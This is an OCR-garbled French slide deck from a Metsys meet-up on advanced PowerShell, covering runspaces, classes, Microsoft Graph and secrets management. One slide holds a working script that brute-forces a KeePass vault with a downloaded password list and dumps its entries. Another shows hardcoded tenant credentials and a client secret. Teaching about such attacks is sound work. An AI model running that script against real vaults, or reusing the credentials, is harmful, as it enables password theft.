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~~ Rappel

PowerShell (anciennement Windows PowerShell) est un langage de :izp
, ;7 . PN . . . escription
développement créé par Microsoft, natif a Windows depuis Windows 7. v

1

J

Write-Host 14 .DisplayName)
New-MgDirectoryAdministrativeUnit

Utilise les Cmdlets

| ForEach-Object {

Langage de scripting orienté objet @
RoleId
Langage d’administration systeme Raiouaty

Variable avec le « S » [String]Svar )

ﬂrite—Host
Utilise les boucles standards (while, For, ForEach, etc..) New-M

Fonctionnement en modules

<
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Comment s'améliorer en PowerShell ?

35k vues *

’ Fitit

powershell
Window

POWERSHEL
C'EST QUOI P

jlyadans

est disponible SU
ss. || existe Pl

L POUR DEBUTANTS
OWERSHELL

r toutes les Ve

usieurs yersions de Pow!

15 commandes indispensables

pour débuter avec PowerShell
22kvues+ilyalan

TEST-PATH |
Q.‘ m IT-Connect

r.s’r.;,,wczsS

Premier scrj

STk vues « ily a2 ans

® IT-Connect

———

760 k vues

Sous-titres

powershell For

Course | PowerShel
«jlyatlan

éer son

Pt PowerShel| 2

Jai oublié de e m tionner dans I m; =
€ le mentionner gan, la vidéo
a Vidéo maijs p.

Beginners Full
| Beginner...

€D nerd's lesson

This Jump Start is design

ed to teach the busy

¢y Anglais

rsions de
ershell. Cest U..

Tutoriel PowerShell pour les débutants - 15 commandes in..

E m Introduction | Get-...

Débutant : Comment ¢r,

17 chapitres v

|T Professio..-

https:/Awww.phonandroid.com » powershell-4-scripts-a... ~

Powershell : 4 scripts amusants pour apprendre a s'en servir

19 juin 2018 — Powershell est un Invite de commandes, mais aussi un langage de
programmation qui permet d'automatiser des tiches, de trier des quantités ...
Termes manquants . s‘amédierer | Doit inclure . s'améliorer

https:/iwww.it-connect.fr » powershell-pour-les-debutan... -

Powershell pour les débutants (1é&re partie) - IT-Connect

17 déc. 2014 — Premiére partie d'un cours pour débuter avec PowerShell et apprendre les
bases de ce langage (cmdlet, pipeline, aide, chaine, etfc.)

Get-Command : Informations de base surles ... Get-Help : Aide de base (utiliser -full ou -ex...
Get-PSDrive : Informations sur les “lecteurs” ... Get-Module : Liste les “modules” actuellem..

Présentation du sujet - [Il. La structure des commandes - Les variables Powershell

https-//blag netwrix fr » Opération IT

Tutoriel de Windows PowerShell Scripting pour débutants

13 janv. 2022 — Windows PowerShell est un moteur d'automatisation orienté objet ainsi qu'un
langage de script. Doté d'un interpréteur de commandes ...

https:/fleam.microsoft.com » ... » Création de scripts -

Prise en main de PowerShell - Microsoft Learn

ily a 7 jours — Fermez PowerShell. Relancez |a console PowerShell, mais cette fois-ci, cliqguez
avec le bouton droit sur le raccourci Windows PowerShell, puis ..
https:/leam.microsoft.com » ... » Création de scripts

Systéme d'aide - PowerShell - Microsoft Learn
ily a 7 Jours — The Update-Help cmdlet downloads the most current Help files for Windows
PowerShell modules, and installs them on your computer. For more ...

https:/iwww.maformation.fr > actualites » comment-app... ~

Comment apprendre PowerShell - MaFormation

25 févr. 2022 — PowerShell permet & ses utilisateurs d'automatiser de nombreuses taches et
processus simples. Cette solution multiplateforme développée par ...
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 Sommaire

(&=

Les fonctionnalités
avancees

|mMETSYS

- % =

Un pas de plus vers REST et Un peu de sécurité
'objet PowerShell

L'idée est d’avoir déja des connaissances de
base pour ce meet-up
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#” Les mises a jour majeures de PowerShell
Windows PowerShell 1.0 Windows PowerShell 3.0 PowerShell 7
> Mise en tache planifiee > Parallélisation avec ForEach-

> Fonctionnalités initiales

> Auto-complétions Object
(IntelliSense) > Opérateur ternaire
> Nouvelles commandes et > Support natif de MarkDown
A parameétres A
Y Y
Windows PowerShell 2.0 Windows PowerShell V5.1
> PowerShell remoting > Transcription améliorée
> PSJob > PowerShell Gallery & private

.. repositories
> Création de modules P

Copyright © Metsys 2018 — Tous
droits réservés
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Comment se tenir a jour ?

Sources officielles :

> https://devblogs.microsoft.com/scripting/

> https://devblogs.microsoft.com/powershell/

> https://learn.microsoft.com/en-us/powershell/scripting/whats-new/overview

En lisant du code PowerShell

https://www.reddit.com/r/powershell

https://github.com/search?&q=powershell

En suivant des blogs spécialisés :

quETSYS

https://www.systemcenterdudes.com/ pour SCCM & Intune

https://www.sharepointdiary.com/ pour SharePoint

https://powershell-guru.com/ pour |'optimisation de performance

https://adamtheautomator.com/tag/powershell/

reddit

GitHub

Copyright © Metsys 2018 — Tous
droits réservés


https://devblogs.microsoft.com/scripting/
https://devblogs.microsoft.com/powershell/
https://learn.microsoft.com/en-us/powershell/scripting/whats-new/overview?view=powershell-7.2
https://github.com/search?&q=powershell&type=Repositories
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avanceées
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Créer des fonctions avancées

D=

D=

D=

[CmdletBinding()]

Param ()

Function <Nom_de_la_fonction> {

[CmdletBinding()]

Comportements globaux sur notre fonction )
DynamicParam {...}

Begin {...}
Process {...}
End {...}

Déclarer des variables au sein d’une fonction

[Parameter()] }

Modifier la caractéristique d’une variable a l'intérieur du Param()

Begin {} Process {} End {}

Permet de structurer son code dans sa fonction , pour éviter de répéter du code dans un pipeline

Param (<liste_des_parametres>)

=<
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Explications
Param () param (
[Parameter(Mandatory=%true) ]
$Name,
[Parameter(Mandatory=%true,
ParametersSetiame="jeul") ]
$0nline
)

Voici des exemples pour se familiariser.

Begin {} Process {} End {} Function <Nom de la fonction> {

[CmdletBinding() ]
Param ()

Begin {...}
Process {...}
End {...}

<
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~~ Explications

[CmdletBinding()] Function Test-ShouldProcess {
[CmdTetBinding(SupportsShouldProcess = $true )]

Parami( )
1T (3P5Cmdlet.ShouldProcess({ 'Test", "Appel de ShouldProcess'))
1
Write-Host "Execution de 1'action car 3$true”™
T
else
i . _ _ _
Write-Host "Simulation de 1'action car ifalse"
T

Voici des exemples pour se familiariser.

[Parameter()]
Param (

[Parameter(Mandatory=%true,
Position=0) ]
$Name

-<
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~ Utiliser des modules

> Module Binaire

* Peu utilisé
= Les modules binaires sont un type de modules assez spécifiques. lIs contiennent du code compilé a partir d’'un langage .NET.

> Module script
* Le plus utilisé
= Module a créer avec un fichier PSM1.

> Module Dynamique
* Exemple : les modules Exchange On-Premises
* Utilisé mais attention chargé en mémoire et existe le temps de la session PowerShell
= Créer avecla commande New-module

<
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Les runspaces

$Runspace = [runspacefactory]::CreateRunspace()
Shell = [powershell]::Create()

Shell.Runspace = $Runspace

$Runspace.Open()

$PowerShell.AddScript({Start-Sleep 5})
1..10 | Foreach-Object {

ierShell .BeginInvoke()
while ($Job.IsCompleted -eq $false) {Start-Sleep -Milliseconds 100}

Operating System

Job a faire
.MET AppDomain
Runspace l

Begininvoke()

Objet asynchrone pour lancer le runspace

Job
Tache a effectuer

Slot
Thread qui exécute le job

1mMETSYS

A 4

\ 4

T )

=<
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Plus de performance avec les pools de runspaces

$RunspacePool = [runspacefactory]::CreateRunspacePool(1, 5)
$RunspacePool .Open()
$Jobs = @(]

1..18 | Foreach-Object {
ierShell = [powershell]::Create()

ierShell.RunspacePool = $RunspacePool
rerShell.AddScript({Start-Sleep 5})
9

$PowerShell .BeginInvoke

Job 4

$Jobs.IsCompleted -contains $false) {Start-Sleep -Milliseconds 180}

=<
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> Comparaison des performances

| runspacel.ps1* X A
1 EMeasure-command {
3
SRunspace = [runspacefactory]::CreateRunspace()

3

4 $Powershell [powershell]::Create()
5 $Powershell.Runspace = SRunspace
6
8

SRunspace.Open(}
SPowershell. AddScript ({Start-Sleep 531)

9 = 1..10 Foreach-Object {

10 $Job = $PowersShell.BeginInvoke()

11 while ($Job.IsCompleted -eq $false) {Start-Sleep -Milliseconds 100}
12 1

13

14 3]

15

16

7 [=Measure-command {

13

19 SRunspacePool = [runspacefactory]::CreateRunspacePool(1, 5)
20 pacePool.0pen()

21 =

22

23 = 1..10 Foreach-Object {

24 $PowerShell [powershel1]: :Create()

25 $PowerShell.RunspacePool = SRunspacePool

26 $PowersShell.AddScript({Start-Sleep 5})

7 f£Jobs += SPowerShell.BeginInvoke()

28 1

29 while ($Jobs.IsCompleted -contains $false) {Start-Sleep -Milliseconds 100}
30

31 |}

windows\system

<
‘VA‘METSYS Copyright © Metsys 2018 —Tous

droits réservés



>
#~  Version plus simple de la parallélisation

PowerShell v7.0 a inauguré une nouvelle méthode pour faire de |la parallélisation :

ForEach-Object -Parallel

1..18 | ForEach-Object { start-Sleep 1 }
ThrottleLimit Temps global Modificateur temps
Sans parallélisation 10,19 sec +1,9%

2 5,15 sec -48,5%
5 2,12 sec -78,8%
10 1,20 sec -88,0%

(WMETSYS

=<
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Un peu de nuance

Aucune plus-value de la parallélisation sur le traitement d'opérations tres rapides

# Fortach-Object

F A~
L e a
e

sure-Command {
1..180000@ | ForEach-Object {

}).TotalMilliseconds

Nombre d'objets Boucle utilisée Temps de traitement
100 000 foreach () 90 ms

100 000 ForEach-Object 400 ms

1 000 ForEach-Object -Parallel 900 ms

100 000 ForEach-Object-Parallel + 9 minutes

Pour aller plus loin : Speeding Up the Pipeline - powershell.one

=<
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https://powershell.one/tricks/performance/pipeline
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#” Mise a jour des connaissances - ARRAY

$array = [System.Collections.Generic.List[int]]@()
1..10 | ForEach-Object {
$array.Add($ )

Bonne pratique }

$array = 1..10 | ForEach-Object { $_}

$array = @()
) i 1..10 | ForEach-Object {
X Mauvaise pratique $array 4= $_
}

Raisons :

* Via Generic.List :
* Acces a de nouvelles méthodes
* Possibilité de typer les objets membres

e Plus de performance (opérateur "+=" a éviter)
* Meilleure évolutivité

<
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»~  Mise a jour des connaissances - PSOBJECT

[PSCustomObject |@{
Bonne orati GivenName = "John"
onne pratique Surname = "Smith"
}

New-Object -TypeName psobject -Property @{
GivenName = "John"

X Mauvaise pratique Surname = "Smith"

Raisons :
e Syntaxe plus simple

* Plus de performance (éviter le "New-Object" de maniére générale)

Attention : pas compatible avec les versions antérieures a PowerShell 5

Copyright © Metsys 2018 — Tous
droits réservés
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#” Mise a jour des connaissances - SPLATTING

Utilisation d'une HASHTABLE pour envoyer des parametres a une commande

Permet une approche programmatique

if ($to -like "pierre.lequere®") {
Send-MailMessage -Body $body ©
-BodyAsHIml ~

$params = @{ -Encoding "UTF38" °
Body = $boay -From "noreply@metsys.fr" °
BodyAsHtml = $true -SmtpServer "smip.metsys.fr" 7
Encoding = uTes” -5ubject "Invitation au meet-up technique™ ~
From = "noreply@metsys.fr” -To $to °
SmtpServer = "smip.metsys.fr"” -Cc "leo.bouardgmetsys.fr" "
Subject = "Invitation au meet-up technigue” -ErrorAction "Stop”
To = $to 1 else {
ErrorAction = "Stop” Send-MailMessage -Body $body °
} -BodyAsHtml °
-Encoding "UTF8" °
if ($to -like "pierre.lequere*") { $params.Add("Cc"”,"leo.bouard@metsys.fr") } -From "noreply@metsys.fr” °
-SmitpServer "smip.metsys.fr” T
Send-MailMessage @params -Subject "Invitation au meet-up technigue" ~
-To %to °

-ErrorAction "Stop”

=<
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#” Classes et Objets

> Laclasse
* Contient des variables et des fonctions
permettant de créer des objets
> Lobjet
* Clest I'instance qui provient de la classe

> La méthode
* |l s'agit des opérations applicables aux objets

> La propriété

\

* |l s'agit des données représentant |'état de I'objet

quETsvs

Exemple:

-
Attributs :

[ Type = "Audi” |
| Modéle = "2019" |
| Prix = 99580 |
| Couleur = "rouge" |

Méthodes :

meil&rar(} j

l ralentir() l

t freiner() l

N

™

—

Classe : Voiture

Objet : Voiture

VAR A\

s e, —=ECMEZ

=YY=

=<
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> New-Object ( Ne plus utilisé)
> [PSCustomObject]@{}
> Class {}

> [Classe]::new()

#Methode Script Toyota

- $toyota = [PSCustomObject]@{
Numberofwheals = "'4°
NumberOofDoors = "5’

Year = "10,/10,/2011"'
Marque = 'Toyota'

quETSYS

Exemple d’utilisation en PowerShell

#Methode Développeur
Class Toyota

=1
[int]$numberofwheels
[int]$numberofDoors
[datetime] $year

[string] $marque

Numberofwheels NumberOfDoors Year Marque

Toyota() #Constructeur pour une toyota
= {
[int]$this.numberofwheels = "4"
[int]$this.number0fDoors = "5"

"10/10/2011"

[datetime] $this.year

"Toyota"

[String] $this.marque

fToyota = [Toyotal::new() # On instancie

$Toyota

10/10/2011 Toyota

=<
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Dans quel contexte utiliser des classes ?

PowerShell permet d'écrire aussi a la maniere des développeurs
Adaptabilité des développeurs dans le langage de script

Lisibilité des différents corps de métiers

¥ £ ¥ ¥

Moins besoin de monter en compétence

=<
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> Faire hériter des classes entre elles est tres important pour éviter de répéter du code inutilement

Polymorphisme

Class Toyota

=21

=

[1nt]$numberofwheels
[int]$numberofDoors
[datetime]Syear

[String]$marque

Toyota() #Constructeur pour une toyota

{

[int]1$this.numberofwheels = "4"
[int]$this.numberofDoors = "5"
[datEt:lme] $th‘| s.year = "10;10;2011"

[string]$this.marque = "Toyota"

$Toyota = [Toyotal::new() # On instancie

$Toyota

WA\METSYS

Class Lexus:Toyota

=k
[string] $moteur
[int]$nbraileron
Lexus () #Constructeur
=] {
[String] $this.moteur = 'v12'
[int]%this.nbraileron = "1'
3
1

fLexus = [Lexus]::new() # On instancie

Copyright © Metsys 2018 — Tous
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Le REST c’est quoi ?

> REST signifie Representational State Transfer
> Ensemble de normes

> Lignes directrices architecturales qui structurent la facon de communiquer les données entre
votre application et le reste du monde, ou entre différents composants de votre application.

REST APl Model

JSON Data

i

Mobile/Web/ Server
desktop client

GET, POST,
PUT, DELETE

=<
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Methodes HTTP pour des services REST

GET POST
> Récupérer une ressource > Créer une nouvelle
ressource

PUT / PATCH DELETE
> Modifier ou ajouter une > Supprimer une ressource
ressource

=<
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Microsoft Graph

AP| officielle de Microsoft pour ses produits cloud
Basé sur REST
Envoi de JSON

Modules PowerShell disponibles

T ¥ ¥ ¥ X

Permet de requéter :
* Microsoft 365
e SharePoint
* Exchange Online
* Microsoft Teams
* Azure...

@ Important

Groups

Teams

Tasks

Chats

MICROSOFT
GRAPH

Meetings

] . People
S Devices

MSCnline is planned for deprecation. For more details on the deprecation plans, see the deprecation

updatet . You can start trying Microsoft Graph PowerShell to interact with Azure AD as you would in

MSQOnline. In addition, Microsoft Graph PowerShell allows you access to all Microsoft Graph APls and is

available on PowerShell 7. For answers to frequent migration queries, see the migration FAQ.

<
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»” Comprendre les permissions Microsoft Graph =

e rend sur *  Siie Webh ———equét
si non authentifié si authentifie
: +—redirige
4——=se connecte—— M'”“‘.”’““ redind
Login ServeLur Requéte avec UserAccessToken———
authentifig :
Utilisateur
APl Microsoft
Graph
Senveur Requéte avec ApphccessToken : 3

<
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Comprendre les permissions Microsoft Graph

Do you want to grant consent for the requested permissions for all accounts in Tatvasoft? This will update any existing admin consent records this application already has to match what is listed below

g;a'nt/deny access,

[ + Add a permission I

AP1/ PERMISSIONS NAME TYPE DESCRIPTION ADMIN CONSENT REQUIRED

¥ Microsoft Graph (6)

Directory AccessAsUser All Delegated  Access directory as the signed in user Yes A\ Not granted for Tatva_,
Directory ReadWrite. All Delegated  Read and write directory data Yes Ah Notgranted for Tatva
Directory ReadWrite. All Application  Read and write directory data Ves b Not granted for Tatva_
UserRead Delegated  Sign in and read user profile

UserReadWrite All Delegated  Read and write all users’ full profiles Yes A Not granted for Tatva
UserReadWrite All Application  Read and write all users’ full profiles Yes A\ Not granted for Tatva_

These are the permissions that this application requests statically. You may also request user consent-
able permissions dynamically through code. See best practices for requesting permissions

Grant consent

As an administrator, you can grant consent on behaif of all users in this directory, Granting admin consent for all users
means that end users will not be shown a consent screen when using the application,

I Grant admin consent for Tatvasoft '

........................................................................-<

q!‘\METsvs
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>~ Les bases pour une bonne cybersécurite

Disponibilité

> Cet objectif couvre la notion d’accés aux
ressources informatiques sur les périodes
prévues

Confidentialité

> Le pilier le plus évident, cherche a garantir
gue l'acces aux données n’est possible que
si (et seulement si) les personnes sont
bien autorisées et donc authentifiées.

WA\METSYS

> @Garantir que les données servies n‘ont pas
été modifiées anormalement
(intentionnellement ou non) .

Tracabilité

> Le dernier pilier cherche a garantir que les
actions sur le Sl sont bien journalisées et
stockées de maniere pérenne.

<
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Defendre et attaquer en PowerShell

Signature des scripts

> Nécessite que tous les fichiers de scripts > KeePass est un gestionnaire de mot de
soient signés numériguement avant de passe. Ce type de logiciel permet de
pouvoir étre exécutés. protéger les mots de passe de ses

utilisateurs en les stockant dans un fichier
de coffre-fort chiffré.

Chiffrement

> Le chiffrement est un procédé de
cryptographie qui consiste a protéger des
données qui sont alors incompréhensibles
pour celui qui ne dispose pas de la clef du
chiffrement.

=<
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Gestion des secrets dans PowerShell

Comment gérer les secrets dans les scripts ?

Plusieurs méthodes pour gérer les secrets & identifiants:

quETSYS

Connexion par certificat quand c'est possible

Avec des gestionnaires de mots de passe
* KeePass et LockPass
* Azure Key Vault
* Module Microsoft.PowerShell.SecretManagement

VIEJConvertFrom-SecureStringgdConvertTo-SecureString
ERImport-CliXmlpAExport-CliXml

Get-Credential | Export-Clixml -Path ".\cred.xml"
$cred = Import-Clixml -Path ".\cred.xml"

Connect-PnPOnline -Credentials $cred

=<
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” Gestion des secrets dans PowerShell

Démonstration

=<
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~ Création d’un KeePass

@ Database.kdbx - KeePass

File  Group Entry Find View Tools Help

DO H< 3@ €| Q & |@]sesrch. -
67 Database Title UserName  Password URL Notes

G General ﬂSampie En.. User Name e, https://keep... MNotes

ES‘ ‘:‘::oul:s ;9 Sample En.. Michael321 ety https://keep...
or

@ Internet
=y eMail
% Homebanﬁg

<
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” Brute Force sur KeePass

>

Fichier Modifier Afficher Outils Déboguer Composants additionnels Aide
& B & B |9 R 5 m| = |8 |Boo| & @.-

| Hack_Keepass.ps1* X | Sans titre2.ps1* | Sans titre3.p:

1 $Exe = "C:\Program Files\KeePass Password Safe 2\KeePass.exe'

2 [Reflection.Assembly]: :LoadFile($Exe)

2>

4 $KDBX = [KeePassLib.PwDatabase]::new()

5 $Connexion = [KeePassLib.Serialization.IOConnectionInfo]::new()

6 $Connexion.Path = 'C:\Users\plequere\Desktop\Database.kdbx'

8 $passwordlist = Invoke-WebRequest -Uri https://raw.githubusercontent.com/tarraschk/richelieu/master/french_passwords_top5000.txt
9 = Foreach ($password in (Spasswordlist.content -split ""'n")){

10 $C = [KeePassLib.Keys.CompositeKey]: :new()

11 $K = [KeePassLib.Keys.KcpPassword]: :new($password)

12 $C.AddUserkKey( 3$K )

13 = try{

14

15 $KDBX.Open($Connexion, $C, ([KeePassLib.Interfaces.NullStatusLogger]::new()))
16 write-host "Le mot de passe est : $password"

17 = $KDBX.RooOtGroup.GetObjects($true,$true) | Foreach-Object {
18 E [PSCustomObject]@{

19 Nom = $_.Strings.ReadSafe('Title")

20 Utilisateur = $_.Strings.ReadSafe('UserName')
21 Mdp = $_.Strings.ReadSafe('Password"')
22 url = $_.Strings.ReadSafe('URL")
23 commentaire = $_.Strings.ReadSafe('Notes"')
24 ¥
25 }
26
27 break
28 = }catch{
29

30 1

31 }

32

windows\system32>

<
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Signature des Scripts

ADCS (PKI)
Certificat Auto Signé
GPO

X ¥ ¥ ¥

Set-ExecutionPolicy All Signed

SIG # Begin signature block
MIIPFwYJK0ZIhvcNAQCCoIIPCDCCDWQCAQEXCZAIBgUrDgMCGgUAMGKGCsGAQOB
gjcCAQSgWzBZMDOGC T sGAQQBG] cCAR4wIgIDAQAABBAT zDtgWlUsITrckOsYpfvNR
AQEAAQEAAQEAAGEAAQEAMCEWCQYFKwADAhOF AAQUTF 121 Symuvxc jwdobHiRPBO
55Wgggo3MIIEMTCCALGgAWIBAGIPF0jwOSVeY45pFDkH5 JMLMAOGCSqGSIb3DQER
BQUAMIGVMOswCQYDVQOGEWIVUZELMAKGATUECBMCVVQXF zAVBGNVBACTDINhbHQg
TGFrZ SBDaxXR5MRAwWHAYDVQQKEXVUaGUgVVNFUTRSVVNUIES 1dHdvems xITATBgNV
BAsSTGGhOdHAGBLYI3d3cudXNTcnRydXNOLmNvbTEAMBsGATUE AXMUVVROLVVTRVIG
aXJzdC1PYmp1Y3QwHhCNMTU XM jMxMDAWMDAWWh CNMTkwNzASMTgOMDM2WjCBhDEL
MAkGAIUEBhMCROIXGZAZBgNVBAQTEKdyZWFOZXIgTWFUY2h1c3R1cjEQMA4GALUE
# BxMHU2FsZm9yZDEaMBgGA1UEChMRQOINTORPIENBIEXpbW]0ZWQxXK jAOBgNVBAMT
# IUNPTU9ETYBTSEEtMSBUaW11IFNOYWlwawW5snIFNpZ251cjCCASIWDQYIKoZIhveN

He e e e B R B e R H

Clé publique

E

Message dorigine

Chiffrement asymetrique

Clé
différente

oY

&
Clé privée

— —

Chiffrement

Données chiffrées

Déchiffrement

Message dorigine

........................................................................-<
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Tableau de bord » Contoso

Contoso | Inscriptions
Azure Active Directory

«

@ vue densemble
Fonctionnalités d'évaluation

# Diagnostiquer et résoudre les
problémes

Gérer

& Utilisateurs

A2 Groupes

B External Identities

4. Réles et administrateurs

. Unités administratives

® Partenaires d'administration
délégués

#8  Applications d'entreprise

CH appareils

[ &% Inscriptions d'applications I

&} Gouvernance des identités
Proxy d'application

B
[ Custom security attributes
(Preview)

Licences
Azure AD Connect

Morms de domaine
personnalisés

Tl & B

@ Mobilité (gestion des dannées
de reférence et gestion des
applications mobiles)

Réinitialisation du mot de v

WA\METSYS

Tableau de bord > Contoso | Inscriptions d'applications >

= MEETUP <

| F Rechercher | «

i#  vue d'ensemble
/N Bases
&4 Démarrage rapide
Nom d'affichage
#" Assistant Intégration
ID d'application (client)

Gérer ID de I'objet
==

&2 Personnalisation et propriétés

2 Authentification Types de comptes pris e...
Certific@ & secrets

iI! configuration du jeton

- APl autorisées

@ Exposer une AP

#. Rdles d'application

Démarrer

&2 Propriétaires
4. Réles et administrateurs

B Manifeste
Support + dépannage

/2 Résolution des problémes

2 Nouvelle demande de support

Sécuriser la connexion avec un Token

: MEETUP
: cf2c07a2-a2f0-4f32-be03-361d4d3799db
: 7ef5a68b-c805-40f1-afbd-30d0df4fa8b7

ID de I'annuaire (locataire) : d7972c31-a4%a-4cdd-a84e-6a3a0c7f874b

: Mon organisation uniquement

Documentation

w Supprimer & Points de terminaison [&] Fonctionnalités en préversion

Informations d'identificat...

URI de redirection

URI ID d'application

Application managée da...

o Bienvenue dans les nouvelles Inscriptions d'applications améliorées. Vous cherchez a connaitre les changements depuis Inscriptions d'applications (héritées) ? En savoir plus

: Ajouter un certificat ou un secret

: {1 web, 0 spa, 0 client public

+ Ajouter un URI d'ID d'application

* MEETUP

o A partir du 30 juin 2020, nous n'ajouterons plus de nouvelles fonctionnalités 3 Azure Active Directory Authentication Library (ADAL) et 3 Azure AD Graph. Nous continuerons  fournir un support technique et des mises a jour de sécurité, mais
nous ne proposerons plus de mises a jour des fonctionnalités. Les applications devront étre mises a niveau vers Microsoft Authentication Library (MSAL) et Microsoft Graph. En savoir plus

Générez votre application avec la plateforme d’identités Microsoft

La plateforme d'identités Microsoft inclut un service d'authentification, des bibliothéques open source et des outils de gestion des applications. Vous pouvez
créer des solutions d'authentification modernes, basées sur des normes, accéder a des API et les protéger, et ajouter une connexion pour vos utilisateurs et vos
clients. En savoir plus4
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Sécuriser la connexion avec un Token

[>]

Fichier

Modifier Afficher Outils Déboguer Composants additionnels Aide

H & B » |9 P B | % B | [B oo 6&m.

| Connexion_Token.ps1* X

D00~ w1 L P

$TenantId = "d7972c31-a49a-4cdd-a84e-6a3a0c7 F874b"
$CTientId = "cf2c07a2-a2f0-4f32-be03-361d4d3799db"
$clientsecret = "kwWP8Q~1B5FYHx7 dQO5WXoesngN-hTFtBRAZ Tuck9"
$username = "admin@M365x05988485.0nMicrosoft.com”

$password = "BlGnpOmrEZ"

#Requete Token MSGRAPH to get refresh token

$uri = "https://login.microsoftonline.com/ {0} /oauth2/v2.0/token” -f Stenantid

$body = "client_id={0}&scope=https://graph.microsoft.com/.default%200ff1ine_access&username={1}&password={2}&grant_type=password&client_secret={3}" -f $clientid,
$graphtoken = Invoke-RestMethod $uri -Body $body -Method Post -ContentType "application/x-www-form-urlencoded” -ErroraAction SilentlyContinue

$graphtoken.refresh_tokenI

#Token MsGraph Connection

$uri = "https://login.microsoftonline.com/ {0} /oauth2/v2.0/token”" -f $TenantId

$body = "client_id={0}&scope=https://graph.microsoft.com/.default%200ffline_access&client_secret={1}&grant_type=refresh_token&refresh_token={2}" -f $Clientid, [Sy
$graphtoken = Invoke-RestMethod $uri -Body $body -Method Post -ContentType "application/x-www-form-urlencoded” -ErroraAction SilentlyContinue

Connect-MgGraph -AccessToken Sgraphtoken.access_token

PS5 C:\windows'\system32=

=<
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Conclusion



Des questions ?



